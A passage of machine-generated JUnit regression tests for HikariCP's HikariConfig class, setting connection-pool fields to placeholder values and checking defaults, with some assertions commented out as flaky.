org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + false + "'", boolean17 == false);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 35L + "'", long18 == 35L);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
org.junit.Assert.assertNull(str20);
}
@Test
public void test19425() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19425");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.isAutoCommit = true;
long long10 = hikariConfig1.connectionTimeout;
boolean boolean11 = hikariConfig1.isAutoCommit();
hikariConfig1.setTransactionIsolation("HikariPool-910");
java.lang.String str14 = hikariConfig1.getConnectionTestQuery();
boolean boolean15 = hikariConfig1.isRegisterMbeans;
int int16 = hikariConfig1.maxPoolSize;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
}
@Test
public void test19426() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19426");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
hikariConfig13.dataSourceClassName = "";
hikariConfig13.setIdleTimeout((long) (short) 100);
java.util.Properties properties21 = hikariConfig13.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties21);
hikariConfig1.addDataSourceProperty("HikariPool-104", (java.lang.Object) 1800000L);
java.lang.String str26 = hikariConfig1.connectionCustomizerClassName;
boolean boolean27 = hikariConfig1.isAutoCommit;
java.util.Properties properties28 = null;
com.zaxxer.hikari.HikariConfig hikariConfig29 = new com.zaxxer.hikari.HikariConfig(properties28);
int int30 = hikariConfig29.getTransactionIsolation();
hikariConfig29.setConnectionTimeout((long) (short) 0);
java.util.Properties properties33 = hikariConfig29.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties33);
java.lang.String str35 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.minPoolSize = (short) 100;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNotNull(properties21);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertTrue("'" + boolean27 + "' != '" + true + "'", boolean27 == true);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + (-1) + "'", int30 == (-1));
org.junit.Assert.assertNotNull(properties33);
org.junit.Assert.assertNull(str35);
}
@Test
public void test19427() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19427");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
long long9 = hikariConfig1.getMaxLifetime();
java.util.Properties properties10 = hikariConfig1.dataSourceProperties;
boolean boolean11 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setTransactionIsolation("HikariPool-1445");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + false + "'", boolean11 == false);
}
@Test
public void test19428() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19428");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.poolName;
hikariConfig0.setMinimumPoolSize((int) '4');
hikariConfig0.minPoolSize = (byte) 0;
long long6 = hikariConfig0.maxLifetime;
java.lang.String str7 = hikariConfig0.getPoolName();
hikariConfig0.connectionTimeout = 0L;
hikariConfig0.setCatalog("HikariPool-34630");
hikariConfig0.transactionIsolation = (-1);
// flaky: org.junit.Assert.assertEquals("'" + str1 + "' != '" + "HikariPool-51334" + "'", str1, "HikariPool-51334");
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 35L + "'", long6 == 35L);
// flaky: org.junit.Assert.assertEquals("'" + str7 + "' != '" + "HikariPool-51334" + "'", str7, "HikariPool-51334");
}
@Test
public void test19429() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19429");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
javax.sql.DataSource dataSource1 = hikariConfig0.dataSource;
int int2 = hikariConfig0.getMaximumPoolSize();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer3 = hikariConfig0.connectionCustomizer;
hikariConfig0.setJdbc4ConnectionTest(false);
hikariConfig0.isJdbc4connectionTest = true;
hikariConfig0.connectionTestQuery = "HikariPool-430";
hikariConfig0.transactionIsolationName = "HikariPool-17217";
org.junit.Assert.assertNull(dataSource1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 60 + "'", int2 == 60);
org.junit.Assert.assertNull(iConnectionCustomizer3);
}
@Test
public void test19430() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19430");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
int int3 = hikariConfig1.acquireRetries;
long long4 = hikariConfig1.getConnectionTimeout();
int int5 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties6 = hikariConfig1.dataSourceProperties;
hikariConfig1.setAcquireRetries((int) (short) 1);
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 3 + "'", int3 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long4 + "' != '" + 10L + "'", long4 == 10L);
org.junit.Assert.assertTrue("'" + int5 + "' != '" + (-1) + "'", int5 == (-1));
org.junit.Assert.assertNotNull(properties6);
}
@Test
public void test19431() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19431");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
long long10 = hikariConfig1.maxLifetime;
javax.sql.DataSource dataSource11 = null;
hikariConfig1.dataSource = dataSource11;
int int13 = hikariConfig1.getAcquireRetries();
java.lang.String str14 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setPoolName("");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 3 + "'", int13 == 3);
org.junit.Assert.assertNull(str14);
}
@Test
public void test19432() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19432");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
boolean boolean7 = hikariConfig1.isAutoCommit;
java.lang.String str8 = hikariConfig1.connectionCustomizerClassName;
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.isInitializationFailFast = true;
java.lang.String str16 = hikariConfig10.getConnectionCustomizerClassName();
hikariConfig10.transactionIsolationName = "";
long long19 = hikariConfig10.getLeakDetectionThreshold();
java.lang.String str20 = hikariConfig10.getPoolName();
java.util.Properties properties21 = hikariConfig10.getDataSourceProperties();
hikariConfig1.dataSourceProperties = properties21;
hikariConfig1.transactionIsolationName = "HikariPool-1162";
hikariConfig1.connectionCustomizerClassName = "HikariPool-608";
int int27 = hikariConfig1.minPoolSize;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
// flaky: org.junit.Assert.assertEquals("'" + str20 + "' != '" + "HikariPool-51339" + "'", str20, "HikariPool-51339");
org.junit.Assert.assertNotNull(properties21);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + 10 + "'", int27 == 10);
}
@Test
public void test19433() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19433");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
java.lang.String str11 = hikariConfig1.dataSourceClassName;
hikariConfig1.setAutoCommit(false);
hikariConfig1.leakDetectionThreshold = (byte) 10;
java.lang.String str16 = hikariConfig1.connectionInitSql;
hikariConfig1.setJdbc4ConnectionTest(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNull(str16);
}
@Test
public void test19434() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19434");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
int int4 = hikariConfig1.getAcquireRetries();
hikariConfig1.isAutoCommit = true;
hikariConfig1.setAcquireRetries(60);
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement(0);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 3 + "'", int4 == 3);
}
@Test
public void test19435() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19435");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setRegisterMbeans(false);
boolean boolean16 = hikariConfig1.isAutoCommit();
hikariConfig1.setConnectionTestQuery("HikariPool-531");
long long19 = hikariConfig1.leakDetectionThreshold;
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
long long26 = hikariConfig21.getIdleTimeout();
java.lang.String str27 = hikariConfig21.getCatalog();
java.lang.String str28 = hikariConfig21.getConnectionTestQuery();
javax.sql.DataSource dataSource29 = hikariConfig21.getDataSource();
hikariConfig21.setConnectionInitSql("HikariPool-465");
java.util.Properties properties32 = hikariConfig21.getDataSourceProperties();
java.util.Properties properties33 = null;
com.zaxxer.hikari.HikariConfig hikariConfig34 = new com.zaxxer.hikari.HikariConfig(properties33);
boolean boolean35 = hikariConfig34.isAutoCommit;
hikariConfig34.poolName = "hi!";
java.lang.String str38 = hikariConfig34.dataSourceClassName;
java.lang.String str39 = hikariConfig34.dataSourceClassName;
hikariConfig34.setJdbc4ConnectionTest(false);
int int42 = hikariConfig34.maxPoolSize;
hikariConfig34.isRegisterMbeans = false;
boolean boolean45 = hikariConfig34.isInitializationFailFast();
hikariConfig34.setDataSourceClassName("HikariPool-68");
java.util.Properties properties48 = hikariConfig34.dataSourceProperties;
hikariConfig21.setDataSourceProperties(properties48);
hikariConfig1.setDataSourceProperties(properties48);
java.lang.Class<?> wildcardClass51 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertTrue("'" + long19 + "' != '" + 0L + "'", long19 == 0L);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
// flaky: org.junit.Assert.assertTrue("'" + long26 + "' != '" + 60L + "'", long26 == 60L);
org.junit.Assert.assertNull(str27);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertNull(dataSource29);
org.junit.Assert.assertNotNull(properties32);
org.junit.Assert.assertTrue("'" + boolean35 + "' != '" + true + "'", boolean35 == true);
org.junit.Assert.assertNull(str38);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int42 + "' != '" + 60 + "'", int42 == 60);
org.junit.Assert.assertTrue("'" + boolean45 + "' != '" + false + "'", boolean45 == false);
org.junit.Assert.assertNotNull(properties48);
org.junit.Assert.assertNotNull(wildcardClass51);
}
@Test
public void test19436() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19436");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.isAutoCommit = true;
long long10 = hikariConfig1.getIdleTimeout();
hikariConfig1.setAutoCommit(true);
long long13 = hikariConfig1.maxLifetime;
javax.sql.DataSource dataSource14 = null;
hikariConfig1.dataSource = dataSource14;
java.lang.String str16 = hikariConfig1.getPoolName();
hikariConfig1.maxPoolSize = 10;
int int19 = hikariConfig1.minPoolSize;
hikariConfig1.setMaximumPoolSize(60);
hikariConfig1.setJdbc4ConnectionTest(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 35L + "'", long13 == 35L);
// flaky: org.junit.Assert.assertEquals("'" + str16 + "' != '" + "HikariPool-51345" + "'", str16, "HikariPool-51345");
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 10 + "'", int19 == 10);
}
@Test
public void test19437() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19437");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
hikariConfig1.poolName = "HikariPool-215";
hikariConfig1.setAutoCommit(false);
hikariConfig1.setCatalog("HikariPool-614");
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(iConnectionCustomizer13);
}
@Test
public void test19438() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19438");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
hikariConfig1.minPoolSize = (short) 1;
boolean boolean11 = hikariConfig1.isAutoCommit;
java.lang.String str12 = hikariConfig1.getCatalog();
hikariConfig1.setConnectionInitSql("HikariPool-465");
hikariConfig1.minPoolSize = (short) -1;
boolean boolean17 = hikariConfig1.isJdbc4connectionTest;
long long18 = hikariConfig1.idleTimeout;
hikariConfig1.setIdleTimeout((long) 'a');
int int21 = hikariConfig1.maxPoolSize;
hikariConfig1.dataSourceClassName = "HikariPool-28224";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
}
@Test
public void test19439() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19439");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.poolName = "hi!";
hikariConfig1.acquireRetries = ' ';
long long7 = hikariConfig1.getConnectionTimeout();
long long8 = hikariConfig1.getMaxLifetime();
java.lang.String str9 = hikariConfig1.connectionInitSql;
hikariConfig1.idleTimeout = (short) 0;
boolean boolean12 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.transactionIsolationName = "HikariPool-14034";
hikariConfig1.leakDetectionThreshold = 87;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 35L + "'", long8 == 35L);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
}
@Test
public void test19440() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19440");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.minPoolSize = 100;
hikariConfig1.setIdleTimeout(1L);
hikariConfig1.connectionInitSql = "HikariPool-633";
hikariConfig1.connectionTestQuery = "HikariPool-69";
hikariConfig1.isAutoCommit = false;
int int21 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setDataSourceClassName("HikariPool-7178");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
}
@Test
public void test19441() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19441");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setConnectionTestQuery("");
hikariConfig1.maxPoolSize = 0;
hikariConfig1.setCatalog("HikariPool-707");
hikariConfig1.dataSourceClassName = "HikariPool-13489";
long long14 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.maxLifetime = 100L;
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 100L + "'", long14 == 100L);
}
@Test
public void test19442() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19442");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.idleTimeout = (byte) -1;
javax.sql.DataSource dataSource12 = hikariConfig1.dataSource;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer13;
hikariConfig1.connectionInitSql = "HikariPool-732";
hikariConfig1.isAutoCommit = true;
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-3016";
hikariConfig1.idleTimeout = 5000L;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(dataSource12);
}
@Test
public void test19443() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19443");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
int int7 = hikariConfig1.maxPoolSize;
long long8 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.setRegisterMbeans(false);
int int11 = hikariConfig1.getTransactionIsolation();
int int12 = hikariConfig1.getTransactionIsolation();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 60 + "'", int7 == 60);
org.junit.Assert.assertTrue("'" + long8 + "' != '" + 0L + "'", long8 == 0L);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
}
@Test
public void test19444() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19444");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.isAutoCommit = true;
java.util.Properties properties10 = hikariConfig1.getDataSourceProperties();
java.util.Properties properties11 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = 3;
int int14 = hikariConfig1.getAcquireRetries();
long long15 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.setLeakDetectionThreshold((long) 0);
hikariConfig1.setConnectionTimeout(2147483647L);
long long20 = hikariConfig1.getIdleTimeout();
int int21 = hikariConfig1.getAcquireRetries();
hikariConfig1.connectionTimeout = 100L;
hikariConfig1.setRegisterMbeans(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNotNull(properties11);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
org.junit.Assert.assertTrue("'" + long15 + "' != '" + 0L + "'", long15 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long20 + "' != '" + 60L + "'", long20 == 60L);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 3 + "'", int21 == 3);
}
@Test
public void test19445() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19445");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
long long3 = hikariConfig1.maxLifetime;
long long4 = hikariConfig1.getConnectionTimeout();
long long5 = hikariConfig1.maxLifetime;
javax.sql.DataSource dataSource6 = null;
hikariConfig1.setDataSource(dataSource6);
long long8 = hikariConfig1.idleTimeout;
long long9 = hikariConfig1.getAcquireRetryDelay();
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long3 + "' != '" + 35L + "'", long3 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long4 + "' != '" + 10L + "'", long4 == 10L);
